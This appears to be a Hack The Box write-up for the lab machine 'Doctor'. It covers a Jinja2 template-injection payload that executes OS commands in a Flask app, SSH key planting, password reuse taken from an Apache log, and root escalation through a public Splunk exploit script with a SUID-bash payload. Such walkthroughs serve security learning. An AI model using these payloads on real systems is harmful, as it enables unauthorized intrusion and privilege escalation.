Doctor : HTB writeup
Nmap Scan
# nmap -A -sS -T4 -o nmap 10.10.10.209
# Nmap 7.80 scan initiated Sun Sep 27 02:53:02 2020 as: nmap -A -sS -T4 -o nmap 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.11s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache/2.4.41 (Ubuntu)
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open unknown
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|WAP|phone
Running: iPXE 1.X, Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:ipxe:ipxe:1.0.0%2b cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: iPXE 1.0.0+, Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
Network Distance: 21 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 ... 20
21 101.64 ms 10.10.10.209
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 27 02:53:57 2020 -- 1 IP address (1 host up) scanned in 55.67 seconds
Arguments
-A : OS detection , version detection, traceroute
-sS : TCP syn scan ( needs root privilege )
-T4 : Faster Scan
-o : Output the result to a file
Openssh 8.2p1 is not vulnerable to get access to the machine. Port 80 has a web server running Apache/2.4.41. Port 8089 has SSL certificate so we need to access via https.
Port 80
Running gobuster for directory busting did not give any juicy information.
/images (Status: 301)
/blog.html (Status: 200)
/services.html (Status: 200)
/about.html (Status: 200)
/contact.html (Status: 200)
/index.html (Status: 200)
/css (Status: 301)
/js (Status: 301)
/departments.html (Status: 200)
/fonts (Status: 301)
But we can see the email [email protected]
which shows there could be a virtual host doctors.htb.
Added doctors.htb
in the /etc/hosts file
10.10.10.209 doctors.htb
On visiting doctors.htb we get
Register a new account
On logging in
We have the ability to create a New Message. The message shows in the screen.
Wappalyzer shows the app in built in flask and the top image shows the doctor has injection so there could be some kind of injection in this site.
Tried different kinds of injection and found template injection was valid.
Template Injection
Since jinja is quite famous with flask so I tried jinja template syntax.
Create a new message.
We can see there is no injection in this page. But if we look at the source code of the page.
We can see the comment stating there is a /archive route.
Nothing here. Let’s check the source code as well
Which is the result of . The result is from the title of the message. So we need to inject the commands in the title of the message
Payload
What this does is
request.application
It is a function which is accesible with the request which is used.
request.application.__globals__
globals is a dictionary assiciated with every function which is used to access the global variables.
>>> def func():
... global p
... p = 18
...
>>> func.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'a': <function a at 0x7f3e14adc1f0>, '__warningregistry__': {'version': 0}, 'func': <function func at 0x7f3e14adc160>, 'p': 18}
Here we can see globals dictionary has builtins key. It maps to builtins module. We can use this module to import functions that are done in the payload.
request.application.__globals__.__builtins__.__import__('os').popen(<payload>).read()
I used import function from builtins module to import os and then popen to execute commands and read to get the output
Payload : How it works
First I used, pwd to get the current working directory which was /home/web and to get ssh access, the payload above is used. It first creates a .ssh directory inside /home/web and adds my public key in the authorized_keys file. The public key is from ~/.ssh/id_rsa . I used this so that I dont have to specify key.
After posting the payload, we need to visit the /archive route for the payload to execute. After the execution, we can ssh into the machine
SSH access to machine
$ ssh [email protected]
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
76 updates can be installed immediately.
36 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Jul 27 20:45:33 2020 from 192.168.127.142
web@doctor:~$
On enumerating we can see that there are three users with shell web, shaun and splunk. Splunk has description of Splunk Server, we will get to that in a bit. We are logged in as web. So we need horizontal escalation to get the user flag. Since web user does not have the user flag. Splunk has files of splunk forward server. So we need to get access to shaun.
We can see that the user belongs to adm group
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
So we have access to logs.
There is a backup file inside the apache2 log directory. This file is normally not found inside the logs.
web@doctor:/var/log/apache2$ ls
access.log access.log.2.gz access.log.7.gz error.log.1 error.log.14.gz error.log.6.gz
access.log.1 access.log.3.gz access.log.8.gz error.log.10.gz error.log.2.gz error.log.7.gz
access.log.10.gz access.log.4.gz access.log.9.gz error.log.11.gz error.log.3.gz error.log.8.gz
access.log.11.gz access.log.5.gz **backup** error.log.12.gz error.log.4.gz error.log.9.gz
access.log.12.gz access.log.6.gz error.log error.log.13.gz error.log.5.gz other_vhosts_access.log
Let’s check if there is some passwords in the backup log
web@doctor:/var/log/apache2$ cat backup | grep password
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
This took me a long time to understand that Guitar123 was a password to user shaun.
Horizontal Escalation
Lets switch to shaun
web@doctor:/var/log/apache2$ su shaun
Password:
shaun@doctor:/var/log/apache2$ cd ~/
shaun@doctor:~$ ls
user.txt
shaun@doctor:~$ cat user.txt
8f52************************efb8
Root
The box says that it has some CVE and we have not used the port 8089 ( which belongs to splunk server ) and the splunk user as well.
Port 8089
On clicking on services, we are prompted with login screen. Since credentials reusing is normal so I tried the credentials
shaun : Guitar123
After logging in I could not find anything. So googling for vulnerabilities, I found this which provides information on exploiting the splunkd running as root for privilege escalation.
Then I checked if splunk is running as root
shaun@doctor:~$ ps -aux | grep splunk
root 1129 0.2 2.6 397056 108024 ? Sl 06:56 1:54 splunkd -p 8089 start
root 1132 0.0 0.4 77664 16084 ? Ss 06:56 0:00 [splunkd pid=1129] splunkd -p 8089 start [process-runner]
So the exploit could work. Github link for exploit.
Downloaded PySplunkWhisperer2_remote.py on my local machine.
$ python PySplunkWhisperer2_remote.py
usage: PySplunkWhisperer2_remote.py [-h] [--scheme SCHEME] --host HOST
[--port PORT] --lhost LHOST
[--lport LPORT] [--username USERNAME]
[--password PASSWORD] [--payload PAYLOAD]
[--payload-file PAYLOAD_FILE]
PySplunkWhisperer2_remote.py: error: argument --host is require`
So to get the root flag payload
$ python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.72 --username shaun --password Guitar123 --payload "cp /root/root.txt /tmp/check.txt;chmod +777 /tmp/check.txt" --payload-file exp.s
—host : Machine’s IP
—port : Port which has splunk management server running
—lhost : My IP
—username : username to login to management web app
—password : user’s password
—payload : payload to run
—payload-file: file name where payload is to be stored
Payload
cp /root/root.txt /tmp/check.txt; chmod +777 /tmp/check.txt
Copied the /root/root.txt to /tmp/check.txt . Since the permissions are not changed so the user cannot read the file so chmod
is used to change the permission to get access to the file.
Get the flag
shaun@doctor:~$ cat /tmp/check.txt
8f50************************26bc
If you want to get a root shell here is a payload
cp /bin/bash /tmp/bash; chmod 4777 /tmp/bash
This copies bash to tmp and adds the suid bit and permission to read, wirite as well as execute to all the users as a result, user can get shell as root.
shaun@doctor:/tmp$ ls -la bash
-rwsrwxrwx 1 root root 1183448 Sep 29 19:47 bash
shaun@doctor:/tmp$ ./bash -p
bash-5.0# whoami
root
bash-5.0#
-p is used so that bash uses euid as root user’s id i.e 0. For more info.
Things I learned
- Using framework does not assure that the application is secure.
- Take proper care when reflecting user inputs.
- Don’t leave development endpoints public.
- Don’t reuse same credentials.
- Don’t run applications with root privilege, if the application is compromised, attackers can gain root privileges.